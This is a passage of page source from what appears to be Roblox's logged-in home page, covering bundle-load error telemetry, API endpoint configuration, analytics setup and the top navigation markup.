- taken from eventTracker.js var xhr = new XMLHttpRequest(); xhr.open('POST', '/game/report-event?name=' + ephemeralCounterName, true); xhr.withCredentials = true; xhr.send(); }, logToEventStream: function (failedBundle, ctx, cdnProvider, status) { var esUrl = Roblox.BundleVerifierConstants.eventStreamUrl, currentPageUrl = encodeURIComponent(window.location.href); var deviceType = Roblox.BundleVerifierConstants.deviceType; ctx += "_" + deviceType; //try and grab performance data. //Note that this is the performance of the xmlhttprequest rather than the original resource load. var duration = 0; if (window.performance) { var perfTiming = window.performance.getEntriesByName(failedBundle); if (perfTiming.length > 0) { var data = perfTiming[0]; duration = data.duration || 0; } } //log to event stream (diagnostic) var params = "&evt=webBundleError&url=" + currentPageUrl + "&ctx=" + ctx + "&fileSourceUrl=" + encodeURIComponent(failedBundle) + "&cdnName=" + (cdnProvider || "unknown") + "&statusCode=" + (status || "unknown") + "&loadDuration=" + Math.floor(duration); var img = new Image(); img.src = esUrl + params; }, getCdnInfo: function (failedBundle, ctx, fileType) { if (Roblox.BundleVerifierConstants.cdnLoggingEnabled) { var xhr = new XMLHttpRequest(); var counter = this.counterNames; xhr.open('GET', failedBundle, true); var cdnProvider; //succesful request xhr.onreadystatechange = function () { if (xhr.readyState === xhr.HEADERS_RECEIVED) { cdnProvider = xhr.getResponseHeader("rbx-cdn-provider"); if (cdnProvider && cdnProvider.length > 0) { Roblox.BundleDetector.logToEphemeralCounter(counter.cdnPrefix + cdnProvider + "_" + fileType); } else { Roblox.BundleDetector.logToEphemeralCounter(counter.unknown + "_" + fileType); } } else if (xhr.readyState === xhr.DONE) { // append status to cdn provider so we know its not related to network error. Roblox.BundleDetector.logToEventStream(failedBundle, ctx, cdnProvider, xhr.status); } }; //attach to possible things that can go wrong with the request. //additionally a network error will trigger this callback xhr.onerror = function () { Roblox.BundleDetector.logToEphemeralCounter(counter.unknown + "_" + fileType); Roblox.BundleDetector.logToEventStream(failedBundle, ctx, counter.unknown); }; xhr.send(); } else { this.logToEventStream(failedBundle, ctx); } }, reportResourceError: function (resourceName) { var ephemeralCounterName = this.counterNames.resourceError + "_" + resourceName; this.logToEphemeralCounter(ephemeralCounterName); }, reportResourceLoaded: function (resourceName) { var loadTimeInMs = this.getLoadTime(); if (loadTimeInMs) { var sequenceName = this.counterNames.resourceLoaded + "_" + resourceName; this.logToEphemeralStatistics(sequenceName, loadTimeInMs); } }, reportBundleError: function (bundleTag) { var ephemeralCounterName, failedBundle, ctx, contentType; if (bundleTag.rel && bundleTag.rel === "stylesheet") { ephemeralCounterName = this.counterNames.cssError; failedBundle = bundleTag.href; ctx = "css"; contentType = bundleContentTypes.css; } else { ephemeralCounterName = this.counterNames.jsError; failedBundle = bundleTag.src; ctx = "js"; contentType = bundleContentTypes.javascript; } //mark that we logged this bundle this.bundlesReported[failedBundle] = true; //e.g. javascriptBundleError_Computer this.logToEphemeralCounter(ephemeralCounterName); //this will also log to event stream this.getCdnInfo(failedBundle, ctx, ctx); var bundleName; if (bundleTag.dataset) { bundleName = bundleTag.dataset.bundlename; } else { bundleName = bundleTag.getAttribute('data-bundlename'); } this.getCdnProviderAndReportMetrics(failedBundle, bundleName, loadStates.loadFailure, contentType); }, bundleDetected: function (bundleName) { this.jsBundlesLoaded[bundleName] = true; }, verifyBundles: function (document) { var ephemeralCounterName = this.counterNames.jsFileError, eventContext = ephemeralCounterName; //grab all roblox script tags in the page. var scripts = (document && document.scripts) || window.document.scripts; var errorsList = []; var bundleName; var monitor; for (var i = 0; i < scripts.length; i++) { var item = scripts[i]; if (item.dataset) { bundleName = item.dataset.bundlename; monitor = item.dataset.monitor; } else { bundleName = item.getAttribute('data-bundlename'); monitor = item.getAttribute('data-monitor'); } if (item.src && monitor && bundleName) { if (!Roblox.BundleDetector.jsBundlesLoaded.hasOwnProperty(bundleName)) { errorsList.push(item); } } } if (errorsList.length > 0) { for (var j = 0; j < errorsList.length; j++) { var script = errorsList[j]; if (!this.bundlesReported[script.src]) { //log the counter only if the file is actually corrupted, not just due to failure to load //e.g. JsFileExecutionError_Computer this.logToEphemeralCounter(ephemeralCounterName); this.getCdnInfo(script.src, eventContext, 'js'); if (script.dataset) { bundleName = script.dataset.bundlename; } else { bundleName = script.getAttribute('data-bundlename'); } this.getCdnProviderAndReportMetrics(script.src, bundleName, loadStates.executionFailure, bundleContentTypes.javascript); } } } } }; })(); window.addEventListener("load", function (evt) { Roblox.BundleDetector.verifyBundles(); }); Roblox.BundleDetector.setTiming(window.performance.timing); //# sourceURL=somename.js </script> <link href="https://images.rbxcdn.com/3b43a5c16ec359053fef735551716fc5.ico" rel="icon" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="StyleGuide" data-bundle-source="Main" href="https://css.rbxcdn.com/1ed4236770a0954c1a31c6add531f5042babaa18dd46be3d86da788e5dc4807d.css" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="Thumbnails" data-bundle-source="Main" href="https://css.rbxcdn.com/9517d686dc47015c200496d77e2b18146ee37652d18e25ecf9e1ed230310ea13.css" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="VerificationUpsell" data-bundle-source="Main" href="https://css.rbxcdn.com/d41f2dd08e2e54efa22d6e04120af18e4ca32b65227e62cf6f33933a7899241d.css" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="Navigation" data-bundle-source="Main" href="https://css.rbxcdn.com/bbfa8678c5dc8467d00c4a99038f3b73d7e45b31d571be1c9eb16ca5a3708ac6.css" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="Footer" data-bundle-source="Main" href="https://css.rbxcdn.com/d5344f38053922e5936f0d7e2d3496ee4f83b46f0bb40d1d2c253b80ac82668e.css" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="CookieBannerV3" data-bundle-source="Main" href="https://css.rbxcdn.com/2c2a709240897ce382b7ff55be4347cd0994ab1e2d6ed3b56649e54b0e97e13a.css" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="ConfigureWebApps" data-bundle-source="Main" href="https://css.rbxcdn.com/08def520152a575438e73a81aa9a310c2415c327df7b624a24aa6e794d24dba3.css" /> <link rel="canonical" href="https://www.roblox.com/home" /> <link onerror='Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)' rel='stylesheet' href='https://static.rbxcdn.com/css/leanbase___5e469c309d1eeddf42cc9d36a50f82e0_m.css/fetch' /> <link onerror='Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)' rel='stylesheet' href='https://static.rbxcdn.com/css/page___563c0a6755704e3868a5fd08140f7199_m.css/fetch' /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="AccountSecurityPrompt" data-bundle-source="Main" href="https://css.rbxcdn.com/3f7284cbce996cc411b5bdadad270358a4b76d48bd2f0347702a9952cad06e71.css" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="PeopleList" data-bundle-source="Main" href="https://css.rbxcdn.com/5b78f24a5404361865e0b4270f7a5f530983e00cb93db4587fd8204050dc3cc7.css" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="AvatarShopHomepageRecommendations" data-bundle-source="Main" href="https://css.rbxcdn.com/50e5507408c6acb726bd15f4b6a06f0bca2abecca3471ee526ef90b351aadfcd.css" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="PlacesList" data-bundle-source="Main" href="https://css.rbxcdn.com/e4c9abfd8730f345780b02a830341960fd81afd34a6537892ffc02f6e58a7d2f.css" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="FacebookSunsetModal" data-bundle-source="Main" href="https://css.rbxcdn.com/d042af17d4ccd36b8f91a8ba854943526df6e0d0eec445d67f3dbe6ed82c21f9.css" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="HomePageUpsellCard" data-bundle-source="Main" href="https://css.rbxcdn.com/9337c6fee216619ce78d77353e855060e50f7063eb263657bc1a47dea21f3bca.css" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="HomeHeader" data-bundle-source="Main" href="https://css.rbxcdn.com/a1d4b368a41f21931b21c8f2270d2d81aa4e0dce426c9ca040ff3da6497facc2.css" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="RobuxIcon" data-bundle-source="Main" href="https://css.rbxcdn.com/2f599b9e9ca20ee3c155684adbf1cdcb7220bab681b55b4505123a0c34e81969.css" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="NotificationStream" data-bundle-source="Main" href="https://css.rbxcdn.com/20b23a9720f64e268de49bae69783981ce6e3a97acbfc09506b669aaefe0c74f.css" /> <link rel="stylesheet" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-bundlename="Chat" data-bundle-source="Main" href="https://css.rbxcdn.com/9ff00644c2caa1890ea1e1bc39ba8258c850ed19ba4fece90c16c38c73569bed.css" /> <script type="text/javascript"> var Roblox = Roblox || {}; Roblox.RealTimeSettings = Roblox.RealTimeSettings || { NotificationsEndpoint: "https://realtime.roblox.com", MaxConnectionTime: "21600000", IsEventPublishingEnabled: false, IsDisconnectOnSlowConnectionDisabled: true, IsSignalRClientTransportRestrictionEnabled: true, IsLocalStorageInRealTimeEnabled: true, IsDebuggerEnabled: "False" } </script> <script type="text/javascript"> var Roblox = Roblox || {}; Roblox.EnvironmentUrls = Roblox.EnvironmentUrls || {}; Roblox.EnvironmentUrls = {"abtestingApiSite":"https://abtesting.roblox.com","accountInformationApi":"https://accountinformation.roblox.com","accountSettingsApi":"https://accountsettings.roblox.com","adConfigurationApi":"https://adconfiguration.roblox.com","adsApi":"https://ads.roblox.com","apiGatewayCdnUrl":"https://apis.rbxcdn.com","apiGatewayUrl":"https://apis.roblox.com","apiProxyUrl":"https://api.roblox.com","assetDeliveryApi":"https://assetdelivery.roblox.com","authApi":"https://auth.roblox.com","avatarApi":"https://avatar.roblox.com","badgesApi":"https://badges.roblox.com","billingApi":"https://billing.roblox.com","captchaApi":"https://captcha.roblox.com","catalogApi":"https://catalog.roblox.com","chatApi":"https://chat.roblox.com","chatModerationApi":"https://chatmoderation.roblox.com","contactsApi":"https://contacts.roblox.com","contentStoreApi":"https://contentstore.roblox.com","developApi":"https://develop.roblox.com","domain":"roblox.com","economyApi":"https://economy.roblox.com","economycreatorstatsApi":"https://economycreatorstats.roblox.com","engagementPayoutsApi":"https://engagementpayouts.roblox.com","followingsApi":"https://followings.roblox.com","friendsApi":"https://friends.roblox.com","gameInternationalizationApi":"https://gameinternationalization.roblox.com","gamesApi":"https://games.roblox.com","groupsApi":"https://groups.roblox.com","groupsModerationApi":"https://groupsmoderation.roblox.com","helpSite":"http://help.roblox.com","inventoryApi":"https://inventory.roblox.com","itemConfigurationApi":"https://itemconfiguration.roblox.com","localeApi":"https://locale.roblox.com","localizationTablesApi":"https://localizationtables.roblox.com","metricsApi":"https://metrics.roblox.com","midasApi":"https://midas.roblox.com","notificationApi":"https://notifications.roblox.com","premiumFeaturesApi":"https://premiumfeatures.roblox.com","presenceApi":"https://presence.roblox.com","privateMessagesApi":"https://privatemessages.roblox.com","publishApi":"https://publish.roblox.com","restrictedHoursServiceApi":"https://apis.roblox.com/restricted-hours-service","screenTimeApi":"https://apis.rcs.roblox.com/screen-time-api","shareApi":"https://share.roblox.com","thumbnailsApi":"https://thumbnails.roblox.com","tradesApi":"https://trades.roblox.com","translationRolesApi":"https://translationroles.roblox.com","twoStepVerificationApi":"https://twostepverification.roblox.com","universalAppConfigurationApi":"https://apis.roblox.com/universal-app-configuration","userAgreementsServiceApi":"https://apis.roblox.com/user-agreements","userModerationApi":"https://usermoderation.roblox.com","usersApi":"https://users.roblox.com","voiceApi":"https://voice.roblox.com","websiteUrl":"https://www.roblox.com"}; // please keep the list in alphabetical order var additionalUrls = { amazonStoreLink: "https://www.amazon.com/Roblox-Corporation/dp/B00NUF4YOA", amazonWebStoreLink: "https%3a%2f%2fwww.amazon.com%2froblox%3f%26_encoding%3dUTF8%26tag%3dr05d13-20%26linkCode%3dur2%26linkId%3d5562fc29c05b45562a86358c198356eb%26camp%3d1789%26creative%3d9325", appProtocolUrl: "robloxmobile://", appStoreLink: "https://itunes.apple.com/us/app/roblox-mobile/id431946152", googlePlayStoreLink: "https://play.google.com/store/apps/details?id=com.roblox.client&amp;hl=en", iosAppStoreLink: "https://itunes.apple.com/us/app/roblox-mobile/id431946152", windowsStoreLink: "https://www.microsoft.com/en-us/store/games/roblox/9nblgggzm6wm", xboxStoreLink: "https://www.microsoft.com/en-us/p/roblox/bq1tn1t79v9k" } for (var urlName in additionalUrls) { Roblox.EnvironmentUrls[urlName] = additionalUrls[urlName]; } </script> <script type="text/javascript"> var Roblox = Roblox || {}; Roblox.GaEventSettings = { gaDFPPreRollEnabled: "false" === "true", gaLaunchAttemptAndLaunchSuccessEnabled: "false" === "true", gaPerformanceEventEnabled: "false" === "true" }; </script> <script onerror='Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)' data-monitor='true' data-bundlename='headerinit' type='text/javascript' src='https://js.rbxcdn.com/a67ddd9413db88f4124e2c4f25d8cb1f.js'></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="Polyfill" data-bundle-source="Main" src="https://js.rbxcdn.com/772034db167d3f4260047db4a7f2b8a58cf448709327013541e47c8962b6e556.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="XsrfProtection" data-bundle-source="Main" src="https://js.rbxcdn.com/4db2f741b7a3ec36d11fec999ce33f708ae85641cabfd27e11e0935928f7d9c4.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="HeaderScripts" data-bundle-source="Main" src="https://js.rbxcdn.com/97cb9ac7262155c329a259fce9f940f9bcfa852a6a1ccb44bd8a41c31e84e54b.js"></script> <meta name="sentry-meta" data-env-name="production" data-dsn="https://[email protected]/1539367" data-sample-rate="0" /><script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="Sentry" data-bundle-source="Main" src="https://js.rbxcdn.com/edc66704bd1974195d8c60f4a163441bec82f1bcb11c492e7df07c43f45a4d49.js"></script> <meta name="roblox-tracer-meta-data" data-access-token="S3EXjCZQQr6OixnmKu+hoa3OSfpvPP5qgU0esiWgwreFUUMBnPhEaoS5yIIrf9bdYlSgW0XKCb1So9Rhtj1eMzt/MJWcyKZ4TwIckHVj" data-service-name="Web" data-tracer-enabled="false" data-api-sites-request-allow-list="friends.roblox.com,chat.roblox.com,thumbnails.roblox.com,games.roblox.com" data-sample-rate="5" data-is-instrument-page-performance-enabled="true"/><script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="RobloxTracer" data-bundle-source="Main" src="https://js.rbxcdn.com/ca2261fe9ad840ce9ed16c2b34a21f45a3bfaaf229bdab564a169aa3d505f92d.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="RealTime" data-bundle-source="Main" src="https://js.rbxcdn.com/89f30f6701e04efb9dad1b1fb75ebd7cfe55257af8c8cefbd609039c4d66d8a8.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="CrossTabCommunication" data-bundle-source="Main" src="https://js.rbxcdn.com/948f3bfc9bbd152f537592b51c1a7765cdc0dfc538d74b7e5fc696c476c8792b.js"></script> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0" /> <script type="text/javascript"> var Roblox = Roblox || {}; Roblox.AdsHelper = Roblox.AdsHelper || {}; Roblox.AdsLibrary = Roblox.AdsLibrary || {}; Roblox.AdsHelper.toggleAdsSlot = function (slotId, GPTRandomSlotIdentifier) { var gutterAdsEnabled = false; if (gutterAdsEnabled) { googletag.display(GPTRandomSlotIdentifier); return; } if (typeof slotId !== 'undefined' && slotId && slotId.length > 0) { var slotElm = $("#"+slotId); if (slotElm.is(":visible")) { googletag.display(GPTRandomSlotIdentifier); }else { var adParam = Roblox.AdsLibrary.adsParameters[slotId]; if (adParam) { adParam.template = slotElm.html(); slotElm.empty(); } } } } </script> <!--[if lt IE 9]> <script src="//oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="//oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> <script> //Set if it browser's do not track flag is enabled var Roblox = Roblox || {}; (function() { var dnt = navigator.doNotTrack || window.doNotTrack || navigator.msDoNotTrack; if (typeof window.external !== "undefined" && typeof window.external.msTrackingProtectionEnabled !== "undefined") { dnt = dnt || window.external.msTrackingProtectionEnabled(); } Roblox.browserDoNotTrack = dnt == "1" || dnt == "yes" || dnt === true; })(); </script> <script type="text/javascript"> var _gaq = _gaq || []; window.GoogleAnalyticsDisableRoblox2 = true; _gaq.push(['b._setAccount', 'UA-486632-1']); _gaq.push(['b._setSampleRate', '10']); _gaq.push(['b._setCampSourceKey', 'rbx_source']); _gaq.push(['b._setCampMediumKey', 'rbx_medium']); _gaq.push(['b._setCampContentKey', 'rbx_campaign']); _gaq.push(['b._setDomainName', 'roblox.com']); _gaq.push(['b._setCustomVar', 1, 'Visitor', 'Member', 2]); _gaq.push(['b._setPageGroup', 1, 'Home']); _gaq.push(['b._trackPageview']); _gaq.push(['c._setAccount', 'UA-26810151-2']); _gaq.push(['c._setSampleRate', '1']); _gaq.push(['c._setDomainName', 'roblox.com']); _gaq.push(['c._setPageGroup', 1, 'Home']); (function() { if (!Roblox.browserDoNotTrack) { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); } })(); </script> <script type="text/javascript"> if (Roblox && Roblox.EventStream) { Roblox.EventStream.Init("//ecsv2.roblox.com/www/e.png", "//ecsv2.roblox.com/www/e.png", "//ecsv2.roblox.com/pe?t=studio", "//ecsv2.roblox.com/pe?t=diagnostic"); } </script> <script type="text/javascript"> if (Roblox && Roblox.PageHeartbeatEvent) { Roblox.PageHeartbeatEvent.Init([2,8,20,60]); } </script> <script type="text/javascript"> if (typeof(Roblox) === "undefined") { Roblox = {}; } Roblox.Endpoints = Roblox.Endpoints || {}; Roblox.Endpoints.Urls = Roblox.Endpoints.Urls || {}; Roblox.Endpoints.Urls['/asset/'] = 'https://assetgame.roblox.com/asset/'; Roblox.Endpoints.Urls['/client-status/set'] = 'https://web.roblox.com/client-status/set'; Roblox.Endpoints.Urls['/client-status'] = 'https://web.roblox.com/client-status'; Roblox.Endpoints.Urls['/game/'] = 'https://assetgame.roblox.com/game/'; Roblox.Endpoints.Urls['/game/edit.ashx'] = 'https://assetgame.roblox.com/game/edit.ashx'; Roblox.Endpoints.Urls['/game/placelauncher.ashx'] = 'https://assetgame.roblox.com/game/placelauncher.ashx'; Roblox.Endpoints.Urls['/game/preloader'] = 'https://assetgame.roblox.com/game/preloader'; Roblox.Endpoints.Urls['/game/report-stats'] = 'https://assetgame.roblox.com/game/report-stats'; Roblox.Endpoints.Urls['/game/report-event'] = 'https://assetgame.roblox.com/game/report-event'; Roblox.Endpoints.Urls['/game/updateprerollcount'] = 'https://assetgame.roblox.com/game/updateprerollcount'; Roblox.Endpoints.Urls['/login/default.aspx'] = 'https://web.roblox.com/login/default.aspx'; Roblox.Endpoints.Urls['/my/avatar'] = 'https://web.roblox.com/my/avatar'; Roblox.Endpoints.Urls['/my/money.aspx'] = 'https://web.roblox.com/my/money.aspx'; Roblox.Endpoints.Urls['/navigation/userdata'] = 'https://web.roblox.com/navigation/userdata'; Roblox.Endpoints.Urls['/chat/chat'] = 'https://web.roblox.com/chat/chat'; Roblox.Endpoints.Urls['/chat/data'] = 'https://web.roblox.com/chat/data'; Roblox.Endpoints.Urls['/friends/list'] = 'https://web.roblox.com/friends/list'; Roblox.Endpoints.Urls['/navigation/getcount'] = 'https://web.roblox.com/navigation/getCount'; Roblox.Endpoints.Urls['/regex/email'] = 'https://web.roblox.com/regex/email'; Roblox.Endpoints.Urls['/catalog/browse.aspx'] = 'https://web.roblox.com/catalog/browse.aspx'; Roblox.Endpoints.Urls['/catalog/html'] = 'https://search.roblox.com/catalog/html'; Roblox.Endpoints.Urls['/catalog/json'] = 'https://search.roblox.com/catalog/json'; Roblox.Endpoints.Urls['/catalog/contents'] = 'https://search.roblox.com/catalog/contents'; Roblox.Endpoints.Urls['/catalog/lists.aspx'] = 'https://search.roblox.com/catalog/lists.aspx'; Roblox.Endpoints.Urls['/catalog/items'] = 'https://search.roblox.com/catalog/items'; Roblox.Endpoints.Urls['/asset-hash-thumbnail/image'] = 'https://assetgame.roblox.com/asset-hash-thumbnail/image'; Roblox.Endpoints.Urls['/asset-hash-thumbnail/json'] = 'https://assetgame.roblox.com/asset-hash-thumbnail/json'; Roblox.Endpoints.Urls['/asset-thumbnail-3d/json'] = 'https://assetgame.roblox.com/asset-thumbnail-3d/json'; Roblox.Endpoints.Urls['/asset-thumbnail/image'] = 'https://assetgame.roblox.com/asset-thumbnail/image'; Roblox.Endpoints.Urls['/asset-thumbnail/json'] = 'https://assetgame.roblox.com/asset-thumbnail/json'; Roblox.Endpoints.Urls['/asset-thumbnail/url'] = 'https://assetgame.roblox.com/asset-thumbnail/url'; Roblox.Endpoints.Urls['/asset/request-thumbnail-fix'] = 'https://assetgame.roblox.com/asset/request-thumbnail-fix'; Roblox.Endpoints.Urls['/avatar-thumbnail-3d/json'] = 'https://web.roblox.com/avatar-thumbnail-3d/json'; Roblox.Endpoints.Urls['/avatar-thumbnail/image'] = 'https://web.roblox.com/avatar-thumbnail/image'; Roblox.Endpoints.Urls['/avatar-thumbnail/json'] = 'https://web.roblox.com/avatar-thumbnail/json'; Roblox.Endpoints.Urls['/avatar-thumbnails'] = 'https://web.roblox.com/avatar-thumbnails'; Roblox.Endpoints.Urls['/avatar/request-thumbnail-fix'] = 'https://web.roblox.com/avatar/request-thumbnail-fix'; Roblox.Endpoints.Urls['/bust-thumbnail/json'] = 'https://web.roblox.com/bust-thumbnail/json'; Roblox.Endpoints.Urls['/headshot-thumbnail/json'] = 'https://web.roblox.com/headshot-thumbnail/json'; Roblox.Endpoints.Urls['/item-thumbnails'] = 'https://web.roblox.com/item-thumbnails'; Roblox.Endpoints.Urls['/outfit-thumbnail/json'] = 'https://web.roblox.com/outfit-thumbnail/json'; Roblox.Endpoints.Urls['/place-thumbnails'] = 'https://web.roblox.com/place-thumbnails'; Roblox.Endpoints.Urls['/thumbnail/asset/'] = 'https://web.roblox.com/thumbnail/asset/'; Roblox.Endpoints.Urls['/thumbnail/avatar-headshot'] = 'https://web.roblox.com/thumbnail/avatar-headshot'; Roblox.Endpoints.Urls['/thumbnail/avatar-headshots'] = 'https://web.roblox.com/thumbnail/avatar-headshots'; Roblox.Endpoints.Urls['/thumbnail/user-avatar'] = 'https://web.roblox.com/thumbnail/user-avatar'; Roblox.Endpoints.Urls['/thumbnail/resolve-hash'] = 'https://web.roblox.com/thumbnail/resolve-hash'; Roblox.Endpoints.Urls['/thumbnail/place'] = 'https://web.roblox.com/thumbnail/place'; Roblox.Endpoints.Urls['/thumbnail/get-asset-media'] = 'https://web.roblox.com/thumbnail/get-asset-media'; Roblox.Endpoints.Urls['/thumbnail/remove-asset-media'] = 'https://web.roblox.com/thumbnail/remove-asset-media'; Roblox.Endpoints.Urls['/thumbnail/set-asset-media-sort-order'] = 'https://web.roblox.com/thumbnail/set-asset-media-sort-order'; Roblox.Endpoints.Urls['/thumbnail/place-thumbnails'] = 'https://web.roblox.com/thumbnail/place-thumbnails'; Roblox.Endpoints.Urls['/thumbnail/place-thumbnails-partial'] = 'https://web.roblox.com/thumbnail/place-thumbnails-partial'; Roblox.Endpoints.Urls['/thumbnail_holder/g'] = 'https://web.roblox.com/thumbnail_holder/g'; Roblox.Endpoints.Urls['/users/{id}/profile'] = 'https://web.roblox.com/users/{id}/profile'; Roblox.Endpoints.Urls['/service-workers/push-notifications'] = 'https://web.roblox.com/service-workers/push-notifications'; Roblox.Endpoints.Urls['/notification-stream/notification-stream-data'] = 'https://web.roblox.com/notification-stream/notification-stream-data'; Roblox.Endpoints.Urls['/api/friends/acceptfriendrequest'] = 'https://web.roblox.com/api/friends/acceptfriendrequest'; Roblox.Endpoints.Urls['/api/friends/declinefriendrequest'] = 'https://web.roblox.com/api/friends/declinefriendrequest'; Roblox.Endpoints.Urls['/authentication/is-logged-in'] = 'https://web.roblox.com/authentication/is-logged-in'; Roblox.Endpoints.addCrossDomainOptionsToAllRequests = true; </script> <script type="text/javascript"> if (typeof(Roblox) === "undefined") { Roblox = {}; } Roblox.Endpoints = Roblox.Endpoints || {}; Roblox.Endpoints.Urls = Roblox.Endpoints.Urls || {}; </script> <script> Roblox = Roblox || {}; Roblox.AbuseReportPVMeta = { desktopEnabled: true, phoneEnabled: false, inAppEnabled: false }; </script> <meta name="thumbnail-meta-data" data-is-webapp-cache-enabled="False" data-webapp-cache-expirations-timespan="00:01:00" data-request-min-cooldown="1000" data-request-max-cooldown="30000" data-request-max-retry-attempts="5" data-request-batch-size="100" data-thumbnail-metrics-sample-size="20" data-concurrent-thumbnail-request-count="4"/> </head> <body id="rbx-body" class="rbx-body light-theme gotham-font" data-performance-relative-value="0.005" data-internal-page-name="Home" data-send-event-percentage="0"> <meta name="csrf-token" data-token="nGpM0rSOEaDr" /> <div id="roblox-linkify" data-enabled="true" data-regex="(https?\:\/\/)?(?:www\.)?([a-z0-9-]{2,}\.)*(((m|de|www|web|api|blog|wiki|corp|polls|bloxcon|developer|devforum|forum|status)\.roblox\.com|robloxlabs\.com)|(www\.shoproblox\.com)|(roblox\.status\.io)|(rblx\.co)|help\.roblox\.com(?![A-Za-z0-9\/.]*\/attachments\/))(?!\/[A-Za-z0-9-+&amp;@#\/=~_|!:,.;]*%)((\/[A-Za-z0-9-+&amp;@#\/%?=~_|!:,.;]*)|(?=\s|\b))" data-regex-flags="gm" data-as-http-regex="(([^.]help|polls)\.roblox\.com)"></div> <div id="image-retry-data" data-image-retry-max-times="30" data-image-retry-timer="500" data-ga-logging-percent="10"> </div> <div id="http-retry-data" data-http-retry-max-timeout="0" data-http-retry-base-timeout="0" data-http-retry-max-times="1"> </div> <div id="TosAgreementInfo" data-terms-check-needed="False"> </div> <div id="fb-root"></div> <div id="wrap" class="wrap no-gutter-ads logged-in" data-gutter-ads-enabled="false"> <div id="navigation-container" class="light-theme gotham-font" data-number-of-autocomplete-suggestions="0"> <div id="header" class="navbar-fixed-top rbx-header" role="navigation"> <div class="container-fluid"> <div class="rbx-navbar-header"> <div id="header-menu-icon" role="button" tabindex="0" class="rbx-nav-collapse"> <span class="icon-nav-menu"></span> </div> <div class="navbar-header"> <a class="navbar-brand" href="/home" ><span class="icon-logo"></span><span class="icon-logo-r"></span ></a> </div> </div> <ul class="nav rbx-navbar hidden-xs hidden-sm col-md-5 col-lg-4"> <li class="cursor-pointer"> <a class="font-header-2 nav-menu-title text-header" href="/discover">Discover</a> </li> <li class="cursor-pointer"> <a class="font-header-2 nav-menu-title text-header" href="/catalog">Avatar Shop</a> </li> <li class="cursor-pointer"> <a class="font-header-2 nav-menu-title text-header" href="/develop">Create</a> </li> <li class="cursor-pointer"> <a class="font-header-2 nav-menu-title text-header" href="/robux?ctx-nav" >Robux</a > </li> </ul> <ul class="nav rbx-navbar hidden-md hidden-lg col-xs-12"> <li class="cursor-pointer"> <a class="font-header-2 nav-menu-title text-header" href="/discover">Discover</a> </li> <li class="cursor-pointer"> <a class="font-header-2 nav-menu-title text-header" href="/catalog">Avatar Shop</a> </li> <li class="cursor-pointer"> <a class="font-header-2 nav-menu-title text-header" href="/develop">Create</a> </li> <li class="cursor-pointer"> <a class="font-header-2 nav-menu-title text-header" href="/robux?ctx=nav" >Robux</a > </li> </ul> <div id="right-navigation-header"></div> </div> </div> <div id="left-navigation-container"></div> <div id="verificationUpsell-container"> <div verificationUpsell-container></div> </div> <div id="accountRecoveryModal-container"> <div accountRecoveryModal-container></div> </div> </div> <script type="text/javascript"> var Roblox = Roblox || {}; (function () { if (Roblox && Roblox.Performance) { Roblox.Performance.setPerformanceMark("navigation_end"); } })(); </script> <div class="container-main " id="container-main"> <script type="text/javascript"> if (top.location != self.location) { top.location = self.location.href; } </script> <div class="alert-container"> <noscript><div><div class="alert-info" role="alert">Please enable Javascript to use all the features on this site.</div></div></noscript> <div id="account-security-prompt-container"></div> </div> <div class="content"> <div id="Skyscraper-Abp-Left" class="abp abp-container left-abp"> <iframe name="Roblox_MyHome_Left_160x600" 